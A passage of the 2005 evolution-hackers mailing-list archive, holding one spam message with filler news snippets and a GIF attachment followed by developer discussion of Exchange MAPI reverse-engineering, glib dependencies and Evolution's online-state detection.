28E731245D4; Tue, 1 Feb 2005 15:56:40 -0500 (EST) Received: from spr2-bolt2-5-0-cust132.bagu.broadband.ntl.com (spr2-bolt2-5-0-cust132.bagu.broadband.ntl.com [81.100.27.132]) by lists.ximian.com (Postfix) with SMTP id AFCD612417D; Tue, 1 Feb 2005 15:56:03 -0500 (EST) Received: from XXXJO-RN03 (45.188.82.112) by 81.100.27.132; Tue, 01 Feb 2005 12:56:03 -0800 From: "Latoya Phillips" To: evolution-addressbook-maintainers@ximian.com Cc: evolution-admin@ximian.com, evolution-calendar-maintainers@ximian.com, evolution-devel@ximian.com, evolution-hackers@ximian.com, evolution-hackers-447request@ximian.com, evolution-hackers-request@ximian.com Date: Tue, 01 Feb 2005 12:56:03 -0800 MIME-Version: 1.0 Content-Type: multipart/related; boundary="----=_NextPart_000_00IS_08S0408HR_07G.917S08B0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2741.2600 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2742.200 Message-Id: <20050201205603.AFCD612417D@lists.ximian.com> Subject: [Evolution-hackers] Re: Marjorie Hogan ZH Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: This is a multi-part message in MIME format. ------=_NextPart_000_00IS_08S0408HR_07G.917S08B0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_00LS_09P3212QH_08O.849R32U0" ------=_NextPart_000_00LS_09P3212QH_08O.849R32U0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable ------=_NextPart_000_00LS_09P3212QH_08O.849R32U0 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

 

 

Prices of popula= r U.S. consumer electronics devices fell slightly in March as declines in = DVD players and digital cameras outweighed gains in notebook computers, ac= cording to an industry study prepared for Reuters.=20

Office 2004 for = Mac, which goes on sale today in Standard and Student/Teacher editions, is= Microsoft's best effort yet to let everyone from Mac-centric corporate su= its to students create documents, crunch numbers and design presentations = that can be exchanged with folks in the Windows world. Beyond that, Office= 2004 includes powerful new collaboration features that let teams work mor= e productively =96 if they're all using Macs.=20Chipmaker AMD (NYSE: AMD) = continues to tweak its Opteron line, announcing three new additions to its= 32/64-bit processor family for servers and workstations that boost perfor= mance on two-way and four-way platforms.=20

As if vegetables= weren't already healthy enough, UK scientists have found a way to add hea= rt-healthy fatty acids to plants.=20

Prices of popula= r U.S. consumer electronics devices fell slightly in March as declines in = DVD players and digital cameras outweighed gains in notebook computers, ac= cording to an industry study prepared for Reuters.=20The government expect= s to paint a broad picture of Oracle's service record, while Oracle justif= ies its takeover plans for PeopleSoft

Office 2004 for = Mac, which goes on sale today in Standard and Student/Teacher editions, is= Microsoft's best effort yet to let everyone from Mac-centric corporate su= its to students create documents, crunch numbers and design presentations = that can be exchanged with folks in the Windows world. Beyond that, Office= 2004 includes powerful new collaboration features that let teams work mor= e productively =96 if they're all using Macs.=20Chief executives from some= of the largest U.S. companies are criticizing the technology industry in = a lobbying campaign, accusing them of selling software vulnerable to hacke= rs and too difficult for consumers to use safely.=20

Here are the lat= est clinical trials, courtesy of CenterWatch:=20

no

------=_NextPart_000_00LS_09P3212QH_08O.849R32U0-- ------=_NextPart_000_00IS_08S0408HR_07G.917S08B0 Content-Type: image/gif; name="mmtl.gif" Content-Transfer-Encoding: base64 Content-ID: <243715468227> R0lGODlhcAEcAfcAAAAAAP+1CACAAAAA/8DcwFJS92uMpf//74SEhDFSe86EEIxKEJmZmYAAgP/W ezMzM3Ol5+/v75RKEGuU1rW1veetGHulzvfWnLWEOf/MM3Nzcx8fH//33pS13u/e3lpzpe/Oe7Vz OYyMjK+vr9acKczMzGOUvVpaWmZmZjFCY5xzGNbn/+fWzoSt5w8PD//nrYRCEOe1Kda9nEpKUv+9 GNacCHuc3vf39//WSlqEtd/f37+/v6VaIcZzCPfWpWul79aMANatUnOUvYSt9zljjP/nlPf/tefO vXut3vfOMXOMtf///3O17/fv5+/3/0JCQv+1EPfea5y179aMGPfv79bW1ve1CGZmZrVzGJRSGFpz rXOcxnOc3u/Otf/eWnOl97VjCPfelCExQmuEtf+9Kf/OQvf//9acGFJrnGaZzN6lSrV7Uoy1986U EFqMrSkpKf/3///vzoyt1oS1539/f5xSKf+9EE9PT/etEM57IaW154Sc1qCgpNaUEP/394S99/e1 KXOl1r1rCJS97zk5Qmut52uEvWt7tff379aUGLVzUmuErf/GGP/ea3Ot73ul9//GCJxSEGtrc0JC UpRaGHOlznOUzq1zEPfnpUprhO/e1oy15961rd69Wve1EISt3nOl3v/vhIS1/2N7pcaUGN6cGJS9 3nu1796MEDFahM6MEP/GECEpIf//996cEHOt9+////+9CGOErWOMtWuUvXOMvffOc2uMtcZ7EIy1 3qVjGFp7te+1GNaUIf/GIXut77WMMVp7nKVrGP/WUpy992uMvZxjGCEhKYS193ul3nOt53utzve9 CIy1//e9EISt7/+9Id6MGP/eY//GKYy17++1KXul52uc1nOt3mucvf/OSpxaEN6cIYS173ut986U GDlSe86EGJRSEJS159acMdbv/96cCPfWrXOl73OUxkJjjLV7GJxSGFpztbVjELV7WikpMa215//e c/fe1oS13v/vjJS953u1996UEHOt/wAAAAAAAAAAAAAAAAAAAAAAACwAAAAAcAEcAQAI/wCXCBxI sKDBgwgTKlzIsKHDhxAjSpxIsaLFixgzatzIsaPHjyBDihxJsqTJkyhTqlzJsqXLj3RiypxJs6bN mzhz6tzJs6fPn0CDCh1KtKjRo0iRQoz5sqnTp1CjSmXKkI7Uq1izat1a0apCr1zDih1L1ilYg2fL ql3Lti3GtAPhup1Lt+5cuXLt6t3LFyvcvH0DCx5s8i/hw4gTezSsWPCAxwQfDxAouTLlypMjW16C mXNmyI21Mg7NV7Lmz5kLgvY8cLXr1qhJZx0t2+5k0LdjG1zNurfv1Lk5175Ke/jc4MJxp9bM3PPy 1tAhPzf+sjh1tqh1Y1be3Dlv4JGvP/+1Lr5s9svody/nfXl6eb9o37cFn559+vrA3cuPSn4/V/q9 2fdbfrD5J1p8BpLlnnKdecdegwkSh2CEFFboUn8WZqghTBNu6OGHG2EI4ogkVtVhiSimiJCIKrY4 IouheQWYRDNyJeNagNXoFox1ybSQjj/6KBCQKNH0I0lCFtYhkRIWxGRbYM345EFRDjkVQVKOVKWS TmIJ5Yl9pSVjkjcuMROWVHVppZlJslklU2e2KSdVW3ppp5txrVknmWwOmWaedu6ZplVw8uknnUKe aeaXag4m5pqLRlqmpIDeOSljg1aKKaCEUqnmlmWCymmdJ14K6Zia6snpqpWqxeOOn7L/aqqbfx66 Z1yJWqpprl3i9amipkYJLJorNtqprZNGSqmys541JVSvMsrqss1+NWG1qaqqrZe+Borgm61Cimup eZIqrqjMnnqutOEGdqu22CrbLrrLqrvtrPLemS68+tKrb7at+osuvcnC2ihhcspqL55gCkqnrqeS +WdeRqIpsJOZ4ppjrfkaaq+wD0csblnRunjSs4ihTDKYJl+4X5uOstzyzBqWTPPN4tmM88616czz z4r5DPTQMR9M9NHDCS1WAUw37fTTUEct9dRUV2311VhnrfXWXHf9dGJKh1WAXmOnWPZhYXN1Nl1r k9i2YGlv9XZbc39YN19xa3W3Wntr/9i3XXln9fdYg1dY+F0y23W42iouzu7IfDmud+NgJ16X5IJT nrLlbJOtOdqcz3W4GaAo48g9TLzyxSPJdGNGQ6SbjrrqrLtuEeb74b6y0ZE/BAoXyfyhDDLIiPKH N0w4wgZDvwc/fPHHJ788RbovtKBw4an3HYTQoVT9WIFjdbgFlVjTDRvIPJ8PNcg4UggsCpFvPvrq s+8+/BJ9n9D162HfPWX/A2B0vFc53u2lcHugRQssYYNkKIMJ3qDGEAZRvGb8oBwISeACG/jACE6w ghfMX0ie85nw9E81AgzgbQi4OQN6riGWmEUaLGCJQCABCdjYQwvYQA02/OEX6CDGQf9iOMMa3jCH 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 7Mze7M7+7NAe7dI+7dRe7daO6wEBADs= ------=_NextPart_000_00IS_08S0408HR_07G.917S08B0--

 

 

The world's first Internet church has fallen victim to a plague of virtual demons, some of whom have been logging on as Satan and unleashing strings of expletives during sermons.

Office 2004 for Mac, which goes on sale today in Standard and Student/Teacher editions, is Microsoft's best effort yet to let everyone from Mac-centric corporate suits to students create documents, crunch numbers and design presentations that can be exchanged with folks in the Windows world. Beyond that, Office 2004 includes powerful new collaboration features that let teams work more productively – if they're all using Macs. Digital cameras with the power to develop a picture as big as beach towel may attract attention, but it's better to look for more-practical camera features that meet everyday needs.

As if vegetables weren't already healthy enough, UK scientists have found a way to add heart-healthy fatty acids to plants.

A sneak peek at an upcoming e-mail client by PalmSource and next version of Blackberry Enterprise Server cap the announcement between the two companies.Elvin Ray Jones, a renowned jazz drummer and member of John Coltrane's quartet who also played alongside Duke Ellington, Charlie Parker and Miles Davis, died Tuesday. He was 76. Jones died of heart failure in an Englewood, N.J., hospital, said his wife of 38 years, Keiko Jones

VeriSign loses a skirmish in its antitrust claim against the Internet's governing body.The chipmaker pads its offerings for 2P and 4P platforms with an eye to the future.

Stocks rose on Wednesday, with the Standard & Poor's 500 index (.SPX) on track to end at its highest in nearly two weeks, as strong quarterly results from Hewlett-Packard Co. (HPQ.N) and Applied Materials Inc. (AMAT.O) fueled a buying spree.

no

From Anders.Naslund@connecta.se Wed Feb 2 03:41:56 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 22982124363; Wed, 2 Feb 2005 03:41:56 -0500 (EST) Received: from ns1.connecta.se (ns1.connecta.se [217.13.248.36]) by lists.ximian.com (Postfix) with SMTP id 8EF0012441C for ; Wed, 2 Feb 2005 03:41:52 -0500 (EST) Received: (qmail 15153 invoked from network); 2 Feb 2005 08:41:49 -0000 Received: from stomail.connecta.se (192.168.1.11) by ns1.connecta.se with SMTP; 2 Feb 2005 08:41:49 -0000 x-fsavag4mse-ts: 3d1f37c38ba67e0 Received: from 192.168.91.114 ([192.168.91.114]) by stomail.connecta.se ([192.168.1.11]) with Microsoft Exchange Server HTTP-DAV ; Wed, 2 Feb 2005 08:41:51 +0000 Received: from localhost by outlook.connecta.se; 02 Feb 2005 09:41:18 +0100 Subject: Re: [Evolution-hackers] Exchange 5.5 - network reverseengineeringunderway (MAPI, Nspi) From: , "Anders" To: X-MimeOLE: Produced By Microsoft MimeOLE V6.00.3790.181 In-Reply-To: <1107332366.19114.24.camel@omc-3> References: <20050201150641.GV5707@lkcl.net> <1107284298.6737.6.camel@localhost.localdomain> <20050201201548.GL5707@lkcl.net> <1107332366.19114.24.camel@omc-3> Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Date: Wed, 02 Feb 2005 09:41:18 +0100 Message-ID: <1107333678.5793.3.camel@localhost> MIME-Version: 1.0 X-Mailer: Evolution 2.0.3-1.1.101mdk Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: ons 2005-02-02 klockan 09:19 +0100 skrev Jules Colding: > On Tue, 2005-02-01 at 20:15 +0000, Luke Kenneth Casson Leighton wrote: > > > Well not MAPI itself, but > > > the CORBA wrapper for MAPI (www.omesc.com). > > > > ooooooo :) > > > > let's find OUT! > > > > what i am looking for is a similarity between the functions i'm > > implementing and something in brutus... [snip] > > i'm hoping to understand enough of this stuff at some point > > in order to be able to have a hope of blatting a few pieces > > from some of the plethora of projects around... > > It does indeed seem that you already do understand quite a bit ;-) > ..and those of us that doesn't...follow this tread with great interest, trying to be enlightened! :-) /A > _______________________________________________ > evolution-hackers maillist - evolution-hackers@lists.ximian.com > http://lists.ximian.com/mailman/listinfo/evolution-hackers From owner-evolution-hackers@skeptopotamus.ximian.com Tue Feb 1 06:01:01 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 354F61240CC; Tue, 1 Feb 2005 06:01:01 -0500 (EST) Received: from skeptopotamus.ximian.com (skeptopotamus.ximian.com [130.57.169.16]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "mail.cam.novell.com", Issuer "Equifax" (not verified)) by lists.ximian.com (Postfix) with ESMTP id AA04712482C for ; Tue, 1 Feb 2005 06:00:49 -0500 (EST) Received: by skeptopotamus.ximian.com (Postfix) id 1F40C63DC8; Tue, 1 Feb 2005 05:56:44 -0500 (EST) Delivered-To: evolution-hackers@ximian.com Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by skeptopotamus.ximian.com (Postfix) with ESMTP id 1804563309 for ; Tue, 1 Feb 2005 05:56:44 -0500 (EST) Received: (qmail 18871 invoked from network); 1 Feb 2005 10:56:43 -0000 Received: from localhost (HELO linux.site) (michael@127.0.0.1) by localhost with SMTP; 1 Feb 2005 10:56:43 -0000 From: michael meeks Reply-To: michael.meeks@novell.com To: Frank =?ISO-8859-1?Q?Sch=F6nheit?= Cc: Jayant Balraj Madavi , JP Rosevear , evolution In-Reply-To: <41FE3664.5030401@sun.com> References: <1106914234.16399.349.camel@linux.site> <41FE3664.5030401@sun.com> Content-Type: text/plain; charset=ISO-8859-1 Organization: Novell, Inc. Date: Tue, 01 Feb 2005 10:49:42 +0000 Message-Id: <1107254982.12881.18.camel@linux.site> Mime-Version: 1.0 X-Mailer: Evolution 2.1.4 Content-Transfer-Encoding: 8bit X-Spam-Status: No, hits=-16.0 required=5.0 tests=BAYES_90,EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,REFERENCES, REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Re: dlopen / API hooks for evolution ... Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Hi Frank, On Mon, 2005-01-31 at 15:45 +0200, Frank Schönheit wrote: > According to Heiner Rechtien: No way. His points are > - we're developing C++, not C, so what do you need from this lib what > isn't (semantically equivalent) available elsewhere? The glib api is part of the e-d-s API - however, it is the stable part. > - glib has just recently been removed - the only thing still depending > on it is the Gnome integrator. RE would be quite unhappy with > re-introducing it. Well - they need it for the gtk+/vcl backend on Linux & Solaris - so ... it has to be there for the same platforms we want to build this code on. > - This would create yet another "version hell", if we'd do this. Not really; glib (in stark contrast to e-d-s) is extremely stable at both the API and ABI level - and has been since March 2002 when it was released - approaching 3 years ago. > So I fear we need to find another solution :( > What kind of code do you need from glib? Well; we call ~another g_object type 10 methods. Of course we can grab these in the same way via dlopen - but since that is not even slightly pleasant or useful for us, it'd be best if Sun engineering do that I think - I'll have a poke at MHU first though. Anyhow - I'm not eager to do that personally; however - the EApi code is in-place to let that be done fairly easily. I suggest we make it easy to disable the evoution2.0 integration, and have it default disabled in the build until such time as you want it built & can be bothered to do this extra, unpleasant work. Regards, Michael. -- michael.meeks@novell.com <><, Pseudo Engineer, itinerant idiot From jpr@novell.com Wed Feb 2 08:55:40 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id D775C125009; Wed, 2 Feb 2005 08:55:40 -0500 (EST) Received: from lyle.provo.novell.com (lyle.provo.novell.com [137.65.81.174]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "imap.novell.com", Issuer "SERVICES2" (not verified)) by lists.ximian.com (Postfix) with ESMTP id 86EF812488A for ; Wed, 2 Feb 2005 08:55:37 -0500 (EST) Received: from [192.168.1.15] ([137.65.81.216]) by lyle.provo.novell.com; Wed, 02 Feb 2005 06:55:32 -0700 Subject: Re: [Evolution-hackers] how to know whether evolution is online From: JP Rosevear To: Not Zed Cc: Sivaiah Nallagatla , ls@linux.site, =?ISO-8859-1?Q?St=E9phane?= Konstantaropoulos , Evolution Hackers mailing list In-Reply-To: <1107331271.9861.83.camel@lostzed.mmc.com.au> References: <1107039061.16718.6.camel@localhost.localdomain> <1107239902.9842.4.camel@Gr8-Siva.hathaway> <1107263506.15530.1.camel@bishop.rosevear.com> <001201c508db$b3535490$0301a8c0@executivesontheweb.local> <1107324676.4106.2.camel@linux.site> <1107331271.9861.83.camel@lostzed.mmc.com.au> Content-Type: text/plain Date: Wed, 02 Feb 2005 08:55:29 -0500 Message-Id: <1107352529.17600.4.camel@bishop.rosevear.com> Mime-Version: 1.0 X-Mailer: Evolution 2.1.4 Content-Transfer-Encoding: 7bit Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Wed, 2005-02-02 at 16:01 +0800, Not Zed wrote: > On Wed, 2005-02-02 at 11:41 +0530, Sivaiah Nallagatla wrote: > > On Wed, 2005-02-02 at 04:00 +0000, Not Zed wrote: > > > > > > > Isn't there a gconf key that determines the state? Or does that just > > > > determine the startup state? > > > > > > The current state is stored in gconf, but it is NOT the appropriate > > > way to determine when it changes. > > > > > > It is private data used by the shell only. > > Oh, Why it is not appropirate?, e-d-s also listnes to this key change to > > switch between online/offline modes. > > Umm, thats pretty shitty then isn't it? Why? Really there should be a desktop wide setting for online/offline that is either a gconf key or arrives via DBUS. If we rely on evolution to inform e-d-s, anything else using e-d-s externally may cause online operations. It does suck that evolution is the only place to set the key right now. -JP -- JP Rosevear From luis.villa@gmail.com Wed Feb 2 09:02:10 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 0BC1C1241A9; Wed, 2 Feb 2005 09:02:10 -0500 (EST) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.193]) by lists.ximian.com (Postfix) with ESMTP id C64991242BB for ; Wed, 2 Feb 2005 09:02:06 -0500 (EST) Received: by wproxy.gmail.com with SMTP id 67so43567wri for ; Wed, 02 Feb 2005 06:02:06 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=KYUujH9Co/NZTsfabJ/xy0UXf1iUVrNS/B+TVD82OXrgQ0AGNUYYRjH1WMN4YpgUKWXIgiH0i6/AZFB4bNLwtLQ2HBRPUe1RtDS6XV+d5qFI1fC9YVOTT8kV7GCuzS3fUjWCI/KqmnvtnXORjJPE9PSySqrNJYVkujiv6akH5r4= Received: by 10.54.6.74 with SMTP id 74mr21669wrf; Wed, 02 Feb 2005 06:02:06 -0800 (PST) Received: by 10.54.48.64 with HTTP; Wed, 2 Feb 2005 06:02:06 -0800 (PST) Message-ID: <2cb10c44050202060263f578ce@mail.gmail.com> Date: Wed, 2 Feb 2005 09:02:06 -0500 From: Luis Villa Reply-To: Luis Villa To: JP Rosevear Subject: Re: [Evolution-hackers] how to know whether evolution is online Cc: Not Zed , Sivaiah Nallagatla , ls@linux.site, =?ISO-8859-1?Q?St=E9phane_Konstantaropoulos?= , Evolution Hackers mailing list In-Reply-To: <1107352529.17600.4.camel@bishop.rosevear.com> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII 